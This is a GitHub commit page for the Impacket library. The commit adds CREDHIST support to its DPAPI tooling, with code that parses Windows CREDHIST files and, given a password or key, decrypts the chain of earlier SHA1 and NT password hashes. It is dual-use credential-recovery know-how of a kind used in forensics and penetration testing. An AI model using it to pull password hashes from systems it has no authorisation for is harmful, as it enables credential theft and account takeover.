Skip to content

Commit

Permalink
Added CREDHIST support (#1564)
Browse files Browse the repository at this point in the history
* Added CREDHIST support
* Added fixes from suggestions
  • Loading branch information
w0rmh013 committed Oct 11, 2023
1 parent 3760dfc commit 5674780
Show file tree
Hide file tree
Showing 2 changed files with 254 additions and 33 deletions.
105 changes: 73 additions & 32 deletions examples/dpapi.py
Original file line number Diff line number Diff line change
Expand Up @@ -59,7 +59,7 @@
from impacket.structure import hexdump
from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, DPAPI_BLOB, \
CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, P_BACKUP_KEY, PREFERRED_BACKUP_KEY, \
PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY
PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY, deriveKeysFromUser, deriveKeysFromUserkey, CREDHIST_FILE


class DPAPI:
Expand Down Expand Up @@ -89,34 +89,6 @@ def getLSA(self):
logging.error('Cannot grab MachineKey/UserKey from LSA, aborting...')
sys.exit(1)



def deriveKeysFromUser(self, sid, password):
# Will generate two keys, one with SHA1 and another with MD4
key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
# For Protected users
tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000)
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20]

return key1, key2, key3

def deriveKeysFromUserkey(self, sid, pwdhash):
if len(pwdhash) == 20:
# SHA1
key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
key2 = None
else:
# Assume MD4
key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
# For Protected users
tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000)
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20]

return key1, key2

def run(self):
if self.options.action.upper() == 'MASTERKEY':
fp = open(options.file, 'rb')
Expand Down Expand Up @@ -168,7 +140,7 @@ def run(self):
# Use SID + hash
# We have hives, let's try to decrypt with them
self.getLSA()
key1, key2 = self.deriveKeysFromUserkey(self.options.sid, self.dpapiSystem['UserKey'])
key1, key2 = deriveKeysFromUserkey(self.options.sid, self.dpapiSystem['UserKey'])
decryptedKey = mk.decrypt(key1)
if decryptedKey:
print('Decrypted key with UserKey + SID')
Expand All @@ -191,7 +163,7 @@ def run(self):
return
elif self.options.key and self.options.sid:
key = unhexlify(self.options.key[2:])
key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key)
key1, key2 = deriveKeysFromUserkey(self.options.sid, key)
decryptedKey = mk.decrypt(key1)
if decryptedKey:
print('Decrypted key with key provided + SID')
Expand Down Expand Up @@ -232,7 +204,7 @@ def run(self):
password = getpass("Password:")
else:
password = options.password
key1, key2, key3 = self.deriveKeysFromUser(self.options.sid, password)
key1, key2, key3 = deriveKeysFromUser(self.options.sid, password)

# if mkf['flags'] & 4 ? SHA1 : MD4
decryptedKey = mk.decrypt(key3)
Expand Down Expand Up @@ -503,6 +475,68 @@ def run(self):
# Just print the data
blob.dump()

elif self.options.action.upper() == 'CREDHIST':
fp = open(self.options.file, 'rb')
data = fp.read()
chf = CREDHIST_FILE(data)

if len(chf.credhist_entries_list) == 0:
print('The CREDHIST file is empty')
return

# Handle key options
if self.options.key:
key = unhexlify(self.options.key[2:])
keys = deriveKeysFromUserkey(chf.credhist_entries_list[0].sid, key)

# Only other option is using a password
else:
# Do we have a password?
if self.options.password is None:
# Nope let's ask it
from getpass import getpass
password = getpass("Password:")
else:
password = options.password

keys = deriveKeysFromUser(chf.credhist_entries_list[0].sid, password)

if self.options.entry is None:
# First find the correct key to the 1st entry
real_key = None
for k in keys:
chf.decrypt_entry_by_index(0, k)
if chf.credhist_entries_list[0].pwdhash is not None:
real_key = k
break

# Wrong key
if real_key is None:
chf.dump()
print()
print('Cannot decrypt (wrong key or password)')
return

else:
chf.decrypt(real_key)
chf.dump()

# Fully successful decryption
if chf.credhist_entries_list[-1].pwdhash is not None:
return

else:
for k in keys:
chf.decrypt_entry_by_index(self.options.entry, k)
if chf.credhist_entries_list[self.options.entry].pwdhash is not None:
chf.credhist_entries_list[self.options.entry].dump()
return

chf.credhist_entries_list[self.options.entry].dump()
print()
print('Cannot decrypt (wrong key or password)')
return

print('Cannot decrypt (specify -key or -sid whenever applicable) ')


Expand Down Expand Up @@ -568,6 +602,13 @@ def run(self):
unprotect.add_argument('-entropy', action='store', default=None, required=False, help='String with extra entropy needed for decryption')
unprotect.add_argument('-entropy-file', action='store', default=None, required=False, help='File with binary entropy contents (overwrites -entropy)')

# A CREDHIST command
credhist = subparsers.add_parser('credhist', help='CREDHIST related functions')
credhist.add_argument('-file', action='store', required=True, help='CREDHIST file')
credhist.add_argument('-key', action='store', help='Specific key to use for decryption')
credhist.add_argument('-password', action='store', help='User\'s password')
credhist.add_argument('-entry', action='store', type=int, help='Entry index in CREDHIST')

options = parser.parse_args()

if len(sys.argv)==1:
Expand Down
182 changes: 181 additions & 1 deletion impacket/dpapi.py
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,8 @@
from datetime import datetime
from binascii import unhexlify, hexlify
from struct import pack
from Cryptodome.Hash import HMAC, SHA512, SHA1
from hashlib import pbkdf2_hmac
from Cryptodome.Hash import HMAC, SHA512, SHA1, MD4
from Cryptodome.Cipher import AES, DES3
from Cryptodome.Util.Padding import unpad
from Cryptodome.PublicKey import RSA
Expand Down Expand Up @@ -338,6 +339,159 @@ def dump(self):
print("Guid : %s" % bin_to_string(self['Guid']))
print()

class CREDHIST_ENTRY(Structure):
structure = (
('Version', '<L=0'),
('HashAlgo', '<L=0'),
('Rounds', '<L=0'),
('SidLen', '<L=0'),
('_Sid', '_-Sid','self["SidLen"]'),
('CryptAlgo', '<L=0'),
('shaHashLen', '<L=0'),
('ntHashLen', '<L=0'),
('Salt', '16s=b'),
('Sid', ':'),
('_data','_-data','(self["shaHashLen"]+self["ntHashLen"]) + (-(self["shaHashLen"]+self["ntHashLen"])) % 16'),
('data', ':'),
('Version2', '<L=0'),
('Guid', '16s=b'),
)

def __init__(self, data = None, alignment = 0):
Structure.__init__(self, data, alignment)
self.sid = RPC_SID(b'\x05\x00\x00\x00'+self['Sid']).formatCanonical()
self.pwdhash = None
self.nthash = None

def deriveKey(self, passphrase, salt, keylen, count, hashFunction):
keyMaterial = b""
i = 1
while len(keyMaterial) < keylen:
U = salt + pack("!L", i)
i += 1
derived = bytearray(hashFunction(passphrase, U))
for r in range(count - 1):
actual = bytearray(hashFunction(passphrase, derived))
if PY3:
derived = (int.from_bytes(derived, sys.byteorder) ^ int.from_bytes(actual, sys.byteorder)).to_bytes(len(actual), sys.byteorder)
else:
derived = bytearray([ chr((a) ^ (b)) for (a,b) in zip(derived, actual) ])
keyMaterial += derived

return keyMaterial[:keylen]

def decrypt(self, key):
if self['HashAlgo'] == ALGORITHMS.CALG_HMAC.value:
hashModule = SHA1
else:
hashModule = ALGORITHMS_DATA[self['HashAlgo']][1]

prf = lambda p, s: HMAC.new(p, s, hashModule).digest()

derivedBlob = self.deriveKey(key, self['Salt'], ALGORITHMS_DATA[self['CryptAlgo']][0] + ALGORITHMS_DATA[self['CryptAlgo']][3], count=self['Rounds'], hashFunction=prf)

cryptKey = derivedBlob[:ALGORITHMS_DATA[self['CryptAlgo']][0]]
iv = derivedBlob[ALGORITHMS_DATA[self['CryptAlgo']][0]:][:ALGORITHMS_DATA[self['CryptAlgo']][3]]

cipher = ALGORITHMS_DATA[self['CryptAlgo']][1].new(cryptKey, mode = ALGORITHMS_DATA[self['CryptAlgo']][2], iv = iv)
cleartext = cipher.decrypt(self['data'])

ntHashSize = 16
self.pwdhash = cleartext[:self['shaHashLen']]
self.nthash = cleartext[self['shaHashLen']:self['shaHashLen'] + ntHashSize]

if cleartext[self['shaHashLen'] + ntHashSize:] != (len(self['data']) - self['shaHashLen'] - ntHashSize) * b'\x00':
self.pwdhash = None
self.nthash = None

def dump(self):
print("[CREDHIST ENTRY]")
print("Version : 0x%.8x (%d)" % (self['Version'], self['Version']))
print("HashAlgo : 0x%.8x (%d) (%s)" % (self['HashAlgo'], self['HashAlgo'], ALGORITHMS(self['HashAlgo']).name))
print("Rounds : %d" % (self['Rounds']))
print("CryptAlgo : 0x%.8x (%d) (%s)" % (self['CryptAlgo'], self['CryptAlgo'], ALGORITHMS(self['CryptAlgo']).name))
print("shaHashLen : 0x%.8x (%d)" % (self['shaHashLen'], self['shaHashLen']))
print("ntHashLen : 0x%.8x (%d)" % (self['ntHashLen'], self['ntHashLen']))
print("Salt : %s" % (hexlify(self['Salt']).decode()))
print('SID : %s' % self.sid)
print("Version2 : 0x%.8x (%d)" % (self['Version2'], self['Version2']))
print("Guid : %s" % bin_to_string(self['Guid']))
if self.pwdhash is not None and self.nthash is not None:
print("pwdHash : %s" % hexlify(self.pwdhash).decode())
print("ntHash : %s" % hexlify(self.nthash).decode())
else:
print("Data : %s" % (hexlify(self['data'])).decode())
print()

def summarize(self):
print("[CREDHIST ENTRY]")
print("Guid : %s" % bin_to_string(self['Guid']))
if self.pwdhash is not None and self.nthash is not None:
print("pwdHash : %s" % hexlify(self.pwdhash).decode())
print("ntHash : %s" % hexlify(self.nthash).decode())
else:
print("Data : %s" % (hexlify(self['data'])).decode())
print()

class CREDHIST_FILE:
def __init__(self, raw):
self.credhist_entries = {}
self.credhist_entries_list = []


self.version = unpack('<L', raw[:4])[0]
self.current_guid = unpack('16s', raw[4:20])[0]

i = 0
next_len = unpack('<L', raw[-i-4:])[0]
i += 4
while next_len != 0:
ch_entry = CREDHIST_ENTRY(data=raw[-(i + next_len - 4):-i])
i += next_len - 4
self.credhist_entries[bin_to_string(ch_entry['Guid'])] = ch_entry
self.credhist_entries_list.append(ch_entry)
next_len = unpack('<L', raw[-i-4:-i])[0]
i += 4

def decrypt_entry_by_index(self, entry_index, key):
self.credhist_entries_list[entry_index].decrypt(key)

def decrypt_entry_by_guid(self, guid, key):
self.credhist_entries[guid].decrypt(key)

def decrypt(self, key):
keys = [key]
for i, e in enumerate(self.credhist_entries_list):
# Try all keys until success
for k in keys:
e.decrypt(k)
if e.pwdhash is not None:
break

if e.pwdhash is None:
print('Error decrypting entry #%d' % i)
return

keys = deriveKeysFromUserkey(e.sid, e.pwdhash)

def dump(self):
print('[CREDHIST FILE]')
print("Version : 0x%.8x (%d)" % (self.version, self.version))
print("Current Guid : %s" % bin_to_string(self.current_guid))
print()
for i, e in enumerate(self.credhist_entries_list):
print('[Entry #%d]' % i)
e.dump()

def summarize(self):
print('[CREDHIST FILE]')
print("Version : 0x%.8x (%d)" % (self.version, self.version))
print("Current Guid : %s" % bin_to_string(self.current_guid))
print()
for i, e in enumerate(self.credhist_entries_list):
print('[Entry #%d]' % i)
e.summarize()

class DomainKey(Structure):
structure = (
('Version', '<L=0'),
Expand Down Expand Up @@ -1040,3 +1194,29 @@ def privatekeyblob_to_pkcs1(key):

r = RSA.construct((modulus, pubExp, privateExp, prime1, prime2))
return r

def deriveKeysFromUser(sid, password):
# Will generate two keys, one with SHA1 and another with MD4
key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
# For Protected users
tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000)
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20]

return [key1, key2, key3]

def deriveKeysFromUserkey(sid, pwdhash):
if len(pwdhash) == 20:
# SHA1
key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
return [key1]

# Assume MD4
key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
# For Protected users
tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000)
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20]

return [key1, key2]

0 comments on commit 5674780

Please sign in to comment.